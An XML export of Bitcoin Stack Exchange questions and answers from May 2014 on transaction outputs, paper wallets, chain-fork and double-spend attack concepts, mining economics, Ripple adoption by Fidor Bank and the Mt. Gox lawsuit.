  <row Id="25166" PostTypeId="2" ParentId="24895" CreationDate="2014-05-07T11:34:12.700" Score="1" Body="&lt;p&gt;Coins are associated with an address, but they are actually stored in transaction outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions take one (or several) inputs (referencing previous transactions) and sign over the total amount of the inputs to one (or several) outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, these outputs are formed in a way that they can be spend by the owner of a specific address, but other requirements to the signature can be scripted. Anyway, each and every balance is at atomic level made up from these transaction outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction outputs, though, reference the transaction that created them. That means, anyone looking at the blockchain can easily see what transaction sent the money to your address.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-05-07T11:34:12.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25168" PostTypeId="2" ParentId="25132" CreationDate="2014-05-07T12:26:17.413" Score="0" Body="&lt;p&gt;For a bitcoin to move from one address to another, you require access to the private key associated with the address on which the bitcoins are &quot;stored&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stolen in this context means that the thief somehow had access to the private keys, and unless they were given to the thief, the device must have been compromised in order for the theft to have occured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if the computer contains a virus or some other malicious code, you are at risk of having your bitcoins stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As most people do not know if they have a compromised device or not, and the fact that the public address and private keys hold no personal information it is impossible to tell if the movement of the coins was a real transaction, or a transaction caused because the machine was infected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore there is only anecdotal evidence that bitcoins are stolen, and no real evidence.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-05-07T12:26:17.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25169" PostTypeId="2" ParentId="25164" CreationDate="2014-05-07T12:53:52.943" Score="1" Body="&lt;p&gt;You can create a paper wallet (from a link from &lt;a href=&quot;https://en.bitcoin.it/wiki/Paper_wallet#Producing_safe_paper_wallets&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for example) and then send the bitcoin to the address associated to that wallet. Then it is in the so-called cold storage. The paper does not need to know there are bitcoins on it, you just want to have the private key (which is printed on it) associated to the address you have sent you BTC to, whenever you want to access the BTC again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that you have a private key on the paper wallet, which is the ONLY (so dont loose it ;) ) option to access that specific wallet. Whatever ends up in that wallet is yours, whenever you send it (so before or after printing, but you have to create the address/key before sending of course)&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-07T12:53:52.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25170" PostTypeId="1" AcceptedAnswerId="25171" CreationDate="2014-05-07T14:47:15.713" Score="9" ViewCount="976" Body="&lt;p&gt;Let's say someone creates a blockchain fork starting from the genesis block, when the difficulty was absurdly low compared to today; then he starts mining new blocks from there up to the current block index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, this would require such an amount of time to make it completely impossibile to catch up with the real blockchain; even if he used today's powerful mining hardware, the difficulty increase would compensate for it quickly. But, here's the catch: he customizes his mining software to not ever increase the difficulty, even if it's mining hundreds of blocks per second; block timestamps are simply faked in order to make it seem they were generated at ~10 minutes interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the fake blockchain is longer then the real one (currently ~300000 blocks), he starts broadcasting it; it appears to conform to all rules, and it's longer than the current one, thus all clients and miners treat this as a winning fork and switch to working on it. Of course, difficulty increases abruptly as soon as the full network hashing power is thrown at it, and after some time block generation resumes normal levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now the creator of the fake blockchain owns all Bitcoins that have been generated from the genesis block to when he released it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this scenario actually possible? If not, why? How would Bitcoin nodes reacts to a 300000-blocks-long fork? Is there a limit on how long a fork can be?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="5406" LastEditDate="2018-05-04T17:02:42.650" LastActivityDate="2022-06-22T13:19:39.530" Title="Can the blockchain be outpaced by a chain of low-difficulty blocks?" Tags="|blockchain|security|blockchain-fork|chain-reorganization|best-chain|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25171" PostTypeId="2" ParentId="25170" CreationDate="2014-05-07T14:53:36.567" Score="14" Body="&lt;p&gt;There are two problems with this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &amp;quot;longest&amp;quot; block chain is selected not by total &lt;em&gt;number&lt;/em&gt; of blocks, but by total &lt;em&gt;difficulty&lt;/em&gt;.  A chain with a large number of low-difficulty blocks would not win.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Prior to 2014) The Bitcoin reference client hard-codes the hashes of a relatively recent block as a &amp;quot;checkpoint&amp;quot; and will reject any chain not containing that block at the correct height.  So any chain that diverges before the checkpoint will be ignored.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2022-06-22T13:19:39.530" LastActivityDate="2022-06-22T13:19:39.530" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25174" PostTypeId="1" AcceptedAnswerId="25175" CreationDate="2014-05-07T19:34:22.790" Score="1" ViewCount="308" Body="&lt;p&gt;Why does bitcoin use public keys as pseudonyms? Is there any reason for that? What are the advantages of using public key as the pseudonyms? Highly appreciate if someone can give me an answer.&lt;/p&gt;&#xA;" OwnerUserId="14928" LastActivityDate="2014-05-07T20:22:10.030" Title="Why does bitcoin use public keys as pseudonyms?" Tags="|address|privacy|public-key|identity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25175" PostTypeId="2" ParentId="25174" CreationDate="2014-05-07T20:22:10.030" Score="7" Body="&lt;p&gt;More accurately, the pseudonyms most commonly used are &lt;strong&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;addresses&lt;/a&gt;&lt;/strong&gt;, which are derived from public keys (not the longer public keys themselves).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for Bitcoin's idea to work, you must have coins that can only be spent by the owner of a given private key. This means that whatever you send to must be tied, in some way, to a public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using arbitrary pseudonyms (e.g. user names) would mean that you'd have to then somehow link the pseudonym to a public key in order to enable public/private key crypto. This would remove the ability to securely create addresses/pseudonyms offline (e.g. before someone could send money to the user name &quot;tdumidu&quot;, you'd have to announce in the blockchain that &quot;tdumidu&quot; is owned by public key &quot;a1c...&quot;, and include a fee so others have a reason to announce it), reduce anonymity (by encouraging you to reuse pseudonyms), and needlessly bloat the size of the blockchain. It would also create a false sense of security that you're sending to who you think you are (if I take the name &quot;Linus Torvalds&quot; before he does, then it's mine and people might send money thinking they're paying the creator of Linux, not me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a pseudonym that either is, or can be calculated from, the public key removes these problems: the mere act of sending the money also describes, in cryptographically secure detail, who can spend it. As the existence of &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot;&gt;vanity addresses&lt;/a&gt; shows, it also allows a small amount of customization.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-07T20:22:10.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25176" PostTypeId="2" ParentId="25130" CreationDate="2014-05-07T20:39:29.047" Score="1" Body="&lt;p&gt;The node example is my node, this is the script that I'm using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download this script&#xA;&lt;a href=&quot;http://pastebin.com/wKytLZmc&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/wKytLZmc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put it anywhere on your server and change the RPCUSER/PASS, NODEADDR and BITCOINADDR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the script to update every time. You can also use it to create a chron job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run the script, after editing the values above, put it anywhere and type:&#xA;python btc-update.py&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it just returns, that means it works :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: If you get an error, you’ll need to install BitcoinRPC for the script to work.&#xA;Go here: &lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/python-bitcoinrpc&lt;/a&gt;&#xA;Follow Jeffs simple instructions. Once BitcoinRPC is installed, run the node script again and it will update!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="15669" LastActivityDate="2014-05-07T20:39:29.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25178" PostTypeId="2" ParentId="16882" CreationDate="2014-05-07T23:04:22.750" Score="0" Body="&lt;p&gt;TL;DR - There's not enough coin for everyone on earth to have 1, or even 0.01 -- the value will eventually adjust once early adopters sell their massive stores of coin, thereby spreading the coin around.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Aside from what others have mentioned, here's the problem as I see it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's still quite a few early adopters who are selling at below what the market value should be.  They mined early, and instead of buying 10,000 BTC pizzas, they sat on the coin until it was worth selling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that it's hit some great numbers (in the greater scheme of things), they're selling steadily -- not enough to kill the price, but enough to keep it from climbing with the network difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current miners who know the current cost of mining (which is pretty damned significant in terms of computer costs, power costs, and especially time) are a lot less likely to dump their coin at current-day prices.  They, like the earliest adopters, would rather see bitcoin at higher marks to let their coins go for fiat.  This is where I fall in as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, I can sell my few coin at today's prices, but if I make a profit (not sure if I do after with power costs), the profit would barely be worth the time.  I'd rather wait for more digits -- hitting $1,000/btc again would be nice to see, and I'd probably start spending a bit of coin here and there, but until we see $5,000+, I'm not going to sell any coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that $4,500 worth of hardware, tons of power and heat, and endless RMAs only gets me 1-2% of a bitcoin per day right now (WAY less than a few months back), I feel that if I sold all of my coin, it would take me a very long time to see a full coin again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that we've got over 7 billion people on this planet currently.  By the time all bitcoin is mined, probably closer to 8 billion.  With only 21 million coins to go around, if everyone had an equal share, they'd have what, 200k Satoshi? (0.002 bitcoin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By sitting on a few bitcoin, you're hundreds of times better off than what the average person can possibly achieve in terms of bitcoin savings.  Also, remember that the past few times the value jumped, it did so by 10-12x -- wait for a few more of those.  :)&lt;/p&gt;&#xA;" OwnerUserId="15671" LastActivityDate="2014-05-07T23:04:22.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25179" PostTypeId="2" ParentId="24436" CreationDate="2014-05-08T00:23:03.313" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://macminer.fabulouspanda.com/&quot; rel=&quot;nofollow&quot;&gt;MacMiner&lt;/a&gt;, either the CPU miner window for scrypt mode or the FPGA/ASIC window for BTC mode and the GPU window for dual mode - the last two both use bfgminer&#xA;There's more information &lt;a href=&quot;http://fabulouspanda.co.uk/blog/index.php?post/2014/02/27/Mining-with-Gridseed-ASICs-including-DualMiner-on-Mac-OS-X&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and Mac mining forums &lt;a href=&quot;http://macminer.fabulouspanda.com/forum/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; with lots of detailed info in some of the gridseed posts.&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2015-07-30T03:45:04.503" LastActivityDate="2015-07-30T03:45:04.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25180" PostTypeId="2" ParentId="19720" CreationDate="2014-05-08T02:34:01.163" Score="2" Body="&lt;p&gt;Maybe too late, but here's an example of using Blockr.io on testnet with raw hex dump:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tbtc.blockr.io/api/v1/tx/raw/5bb4f41ad7ac687db5126cb66a4971100f4137a3056d85ee27343ce429dbe4bb&quot; rel=&quot;nofollow&quot;&gt;http://tbtc.blockr.io/api/v1/tx/raw/5bb4f41ad7ac687db5126cb66a4971100f4137a3056d85ee27343ce429dbe4bb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="10845" LastEditDate="2014-05-08T02:41:44.637" LastActivityDate="2014-05-08T02:41:44.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25181" PostTypeId="2" ParentId="16882" CreationDate="2014-05-08T07:22:40.410" Score="0" Body="&lt;p&gt;My take on this: I see 2 reasons to start mining bitcoin:&#xA; - to help the network and be part of the bitcoin experiment&#xA; - to make money&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first reason is a good one, but expect to not break even on your hardware/electricity costs.&#xA;To make money you need instant access to new hardware (a profitable mining machine which is not in your hands is not a profitable miner), cheap electricity and preferably some kind of scale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: I looked at it, then I just bought bitcoin :). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I mined some altcoins for a while when it was profitable, but there the reign of gpu's is almost over as well so I expect it to become the same as bitcoin mining&lt;/p&gt;&#xA;" OwnerUserId="11013" LastActivityDate="2014-05-08T07:22:40.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25183" PostTypeId="1" CreationDate="2014-05-08T08:57:58.140" Score="2" ViewCount="290" Body="&lt;p&gt;Is there a webservice around that allows one to search the OP_RETURN data on the blockchain? More precisely: I'm looking for a service that would return the transaction ids of transactions that contain an OP_RETURN with data that matches the given expression.&lt;/p&gt;&#xA;" OwnerUserId="15677" LastActivityDate="2015-07-16T07:38:49.800" Title="op_return regex search" Tags="|transactions|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25184" PostTypeId="1" AcceptedAnswerId="30749" CreationDate="2014-05-08T09:24:56.230" Score="4" ViewCount="431" Body="&lt;p&gt;I have just finished reading the paper &lt;a href=&quot;http://bitfreak.info/files/pp2p-ccmbc-rev1.pdf&quot; rel=&quot;nofollow&quot;&gt;Purely P2P Crypto-Currency With Finite Mini-Blockchain by J.D. Bruce&lt;/a&gt;. While I got the impression, that the rolling blockchain as an idea might work, I was left wondering about one detail in the proposal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that the proof-chain fails to live-up to it's purpose:&lt;br&gt;&#xA;Bruce suggests that it would be sufficient to keep the proof-of-work solutions of the blocks as a &lt;em&gt;proof-chain&lt;/em&gt;. Yet, how could one verify the proof-chain if all the block data has been discarded as suggested? Wouldn't it be possible to replace any blockhash in the proof-chain with another valid blockhash and start a competing mini-blockchain from that point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way an attacker could spend any amount of time on the mini-blockchain and just insert it into the proof-chain whenever it is sufficiently long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Why would the proposal work as intended by the author? Or is it actually &quot;broken&quot;?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-05-09T06:19:41.423" LastActivityDate="2014-10-01T08:37:37.530" Title="Mini-Blockchain proposal: How is the proof-chain secured against injections?" Tags="|blockchain|alternatives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25185" PostTypeId="2" ParentId="24082" CreationDate="2014-05-08T09:27:18.683" Score="1" Body="&lt;p&gt;While I didn't see it addressed explicitly in the paper, the attack could be defeated by requiring a competing blockchain to have &lt;strong&gt;common ancestry in the proof-chain&lt;/strong&gt; in order for it to be considered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of the proposed triplet account-tree, mini-blockchain, and proof-chain, the proof-chain has by far the least memory requirement with only 512 bit (64 byte) per element. If applied to a coin with a blocktime of 1 minute, one year worth of proof-chain would only have 32 megabytes (containing 525600 proofhashes), while one year worth of proof-chain should be sufficient to allow for any valid competing chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above assumes of course that each of the triplet does what it should be doing. I had one follow-up question though, posted here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/25184/5406&quot;&gt;Mini-Blockchain proposal: How is the proof-chain secured against injections?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-05-08T09:27:18.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25186" PostTypeId="2" ParentId="22603" CreationDate="2014-05-08T10:22:56.250" Score="1" Body="&lt;p&gt;Due to the irreversible nature of Bitcoin transactions, there is no protection against theft, in fact it is neigh impossible to prove that theft has occurred, as it is indistinguishable by a third party from someone that send bitcoins to another own address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also feel that the proposed scenario is rather far-fetched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be much more likely that a mugger would just rob wallet and mobile phone, and then maybe claim any Bitcoins that are accessible without a password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is quite amusing to imagine a scene where the robber asks the victim to &quot;transfer all his bitcoins&quot;, I can't imagine the two standing there patiently at gunpoint in the street, fumbling to scan the robbers QR-Code, then waiting for the victim to enter a password to confirm the transaction and so forth. That would take an extremely insolent robber. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, the protection would be pretty much the same as with other robberies today: Taking too much time increases the likelihood of the robber to get caught.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-05-08T10:22:56.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25192" PostTypeId="2" ParentId="22603" CreationDate="2014-05-08T14:35:22.093" Score="4" Body="&lt;p&gt;Just to elaborate on the comment by Diego Basch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, Bitcoin has no solution for the fundamental problem that the threat of force can compel a person to do something they don't want to.  (Maybe that bug will be fixed in the next version of civilization.)  But street robbery should ultimately be less of a risk than you think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's possible to carry unlimited amounts of Bitcoin around with you (say, in a wallet app on your mobile phone), it's not envisioned that most people would handle their life savings that way.  Instead, just as with cash, you would carry with you only as much as you need for routine day-to-day spending.  The rest of your savings could be kept in &quot;cold storage&quot;, with the private keys physically stored in a safe place that you access only when you need to replenish your wallet.  So a street robber couldn't steal all your coins, only those you had chosen to carry with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could imagine other protections, too.  For example, a mobile wallet app would normally keep the keys encrypted and require a password to access them, so a thief who simply stole your phone wouldn't get your coins.  (They could try to crack the password, but by that time, you could use a backup copy of your private keys to move the coins to a new address.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, a robber could try to force you to enter that password.  But you could imagine an app with a &quot;duress code&quot;, an alternate password that when entered causes the app to delete the keys (assuming you have a backup in a safe place).  It could even do something like silently delete most of the keys but leave a small amount available, so that the robber thinks that's all you had, takes it and leaves you alone.  Kind of the Bitcoin equivalent of keeping $2 in your wallet and your other $500 in your shoe.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-08T14:35:22.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25193" PostTypeId="1" AcceptedAnswerId="25195" CreationDate="2014-05-08T15:00:40.243" Score="6" ViewCount="661" Body="&lt;p&gt;On Monday Ripple Labs announced that Fidor Bank AG will be integrating the Ripple protocol later this year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has somebody found concrete statements what this will entail? Will Fidor Bank AG only become a user on the Ripple network, or are they planning to become a Gateway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/fidor-becomes-first-bank-to-use-ripple-payment-protocol/&quot;&gt;Coindesk&lt;/a&gt; seems to be suggesting that they will provide Gateway services, other sources seem to be suggesting that Fidor only wants to use it on the back-end to transfer money to other countries.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-05-21T11:38:06.250" Title="&quot;Fidor to integrate Ripple protocol&quot;, what does that mean?" Tags="|ripple|news-coverage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25195" PostTypeId="2" ParentId="25193" CreationDate="2014-05-08T15:51:27.713" Score="9" Body="&lt;p&gt;After digging some more and finding pretty much every possible interpretation on different media outlets, I just called Nick Riegger, the press spokesman of Fidor Bank AG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my conversation with Nick Riegger:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fidor Bank AG has already started implementing support for Ripple on their back end. They will first be on the lookout for business partners also using Ripple, in order improve channels for sending money abroad to other banks and business partners. Long-term they want to offer their customers access to any major payment protocol, including Ripple and Bitcoin. To that end they are closely watching the development of the Ripple network just as they are already doing with Bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To me it sounded as if they will first use Ripple as a user, but are also considering to provide gateway services long-term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;br&gt;&#xA;At Bitcoin2014, I had the chance to talk to a Ripple Labs employee and fellow SE user, who outlined to me the immediate problem that Fidor Bank AG was hoping to solve: Previously, Fidor had been paying a third party to transfer funds between its own subsidiaries in different federal states of Germany. As the counterparty of such a transaction is still part of the own company, this was like &quot;paying someone to transfer money bills from my left pocket to my right pocket&quot;, as he put it. Fidor is hoping that using Ripple for this purpose will substantially lower the cost for such in-company balancing at low risk, while Ripple Labs is hoping that the demonstration of such a use-case would find mimics, or perhaps will convince Fidor to use Ripple for a broader range of purposes, such as transfering money to business partners using Ripple, or even providing their customers access to Ripple by becoming a Gateway in the long run.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-05-21T11:38:06.250" LastActivityDate="2014-05-21T11:38:06.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25196" PostTypeId="1" CreationDate="2014-05-08T16:09:57.910" Score="1" ViewCount="131" Body="&lt;p&gt;In their paper &lt;a href=&quot;http://eprint.iacr.org/2012/248.pdf&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Two Bitcoins at the Price of One? Double-Spending Attacks on&#xA;Fast Payments in Bitcoin&lt;/em&gt;&lt;/a&gt;, Karame and Androulaki outline a particular race-attack that involves the slight control over a vendor's network connection (we need a direct connection to the vendor in this attack).  After reading it, I wondered why we couldn't connect more than one peer to the vendor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose an adversary A who owns many nodes on the network surrounds a vendor V so that V unbeknowingly is only connected to A.  That way, we could send a transaction to them, say, T_AV.  Then, when they broadcast that transaction to the network, they're just broadcasting it to the adversary, who would of course confirm the validity of T_AV.  In the meantime, so long as V isn't connected to the rest of the network they wouldn't know about the double-spend.  This would make for an attack that has feasible hardware requirements, and isn't hindered by fast transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something or would this attack work?  I'm also curious what kind of measures Bitcoin takes to prevent the controlling of someone else's connections, and what kind of counter-measures attackers have used to control someone else's connections, if any.&lt;/p&gt;&#xA;" OwnerUserId="15685" LastEditorUserId="5406" LastEditDate="2014-08-05T11:26:21.347" LastActivityDate="2014-08-05T11:26:21.347" Title="Curious about a network-based double-spending attack" Tags="|network|doublespend|sybil-attack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25197" PostTypeId="2" ParentId="25196" CreationDate="2014-05-08T17:21:19.863" Score="3" Body="&lt;p&gt;That sort of attack sounds definitely doable. But it's important to take into consideration the cost of this type of attack versus the cost of the thing that you're actually stealing (double-spending):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're buying something expensive, the vendor will most likely&#xA;require you to wait at least 2-3 confirmations, defeating the&#xA;possibility for this type of attack.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're buying something inexpensive, the vendor could probably accept unconfirmed transactions, opening the possibility for a double-spending attack. But as an attacker, it'll probably cost you more to pull off this kind of stunt than actually buying the thing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In conclusion, this type of attack can probably be successful, but the costs outweigh the benefits. &lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-05-08T17:21:19.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25198" PostTypeId="1" CreationDate="2014-05-08T17:45:07.407" Score="3" ViewCount="168" Body="&lt;p&gt;If the G20 nations (or most of them) ban bitcoins doesn't this effectively kill bitcoin? My thinking is that a normal person would no longer have any means of converting bitcoins to the local currency. The only other way this would work, were if most places took bitcoin (coffee shops, grocery stores), but if it's banned then most of the places would stop taking it.&lt;/p&gt;&#xA;" OwnerUserId="15688" LastEditorUserId="5406" LastEditDate="2014-05-09T08:47:26.380" LastActivityDate="2014-07-08T12:58:40.820" Title="If most G20 nations ban bitcoins, would that effectively kill bitcoin?" Tags="|regulation|silk-road|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25200" PostTypeId="2" ParentId="2459" CreationDate="2014-05-08T18:43:15.243" Score="2" Body="&lt;p&gt;i am in Somalia, Mogadishu. Bitcoin can be a solution for Somalia as its simple money transfer service but but INTERNET connection availability is quite bad.. for me,  i wanna start bitcoin service in Somalia! any idea would support?&lt;/p&gt;&#xA;" OwnerUserId="15689" LastEditorUserId="15689" LastEditDate="2014-05-08T19:01:39.220" LastActivityDate="2014-05-08T19:01:39.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25201" PostTypeId="1" CreationDate="2014-05-08T19:35:30.240" Score="0" ViewCount="70" Body="&lt;p&gt;If there was one large owner of Bitcoin, for example somebody who owned 3% of all mined Bitcoins, would there be a way for that person to give back their Bitcoins in an equal way? I'm thinking more along the lines of equally giving their money away to other Bitcoin holders based on how much money they had invested in the currency, not really along the lines of using their wealth to lobby companies to accept Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="15690" LastActivityDate="2014-05-10T16:05:52.717" Title="How could a large owner of Bitcoin give back to the Bitcoin community in an equal way?" Tags="|economic-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25202" PostTypeId="2" ParentId="25201" CreationDate="2014-05-08T19:38:18.783" Score="4" Body="&lt;p&gt;By destroying his coins ( sending them to an address noone has the private key for, like 1nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn )&lt;/p&gt;&#xA;" OwnerUserId="15691" LastActivityDate="2014-05-08T19:38:18.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25203" PostTypeId="1" CreationDate="2014-05-09T00:09:04.207" Score="0" ViewCount="158" Body="&lt;p&gt;This NY Times article says a Chicago law firm is representing Mt. Gox customers in a lawsuit against that company.  I had a small about of bitcoin in a Mt. Gox account.  The law firm has not contacted me to sign me up as a member of the class.  Would it be worthwhile to contact them in order to be included?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dealbook.nytimes.com/2014/03/05/plaintiffs-in-suit-seek-to-freeze-mt-goxs-u-s-assets/?_php=true&amp;amp;_type=blogs&amp;amp;_r=0&quot; rel=&quot;nofollow&quot;&gt;http://dealbook.nytimes.com/2014/03/05/plaintiffs-in-suit-seek-to-freeze-mt-goxs-u-s-assets/?_php=true&amp;amp;_type=blogs&amp;amp;_r=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2014-05-09T03:00:58.783" Title="Class action suit against Mt. Gox?" Tags="|mtgox|legal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25204" PostTypeId="2" ParentId="25203" CreationDate="2014-05-09T01:18:10.940" Score="1" Body="&lt;p&gt;Since you did have an account at Mt. Gox and there is an ongoing class action suit, I would send them an email or give them a call to see what is involved in being included.  I am not a lawyer but I imagine that the potential upside of signing up outweighs the potential downsides (risk of countersuit is probably negligible, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious calculation will be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much your time is worth * how much time you need to invest in getting involved in the lawsuit &#xA;vs &#xA;(the value of your BTC there * the fraction you could reasonably hope to recover) - the fees of the lawyers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck; hope you didn't get hit too hard.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-09T01:18:10.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
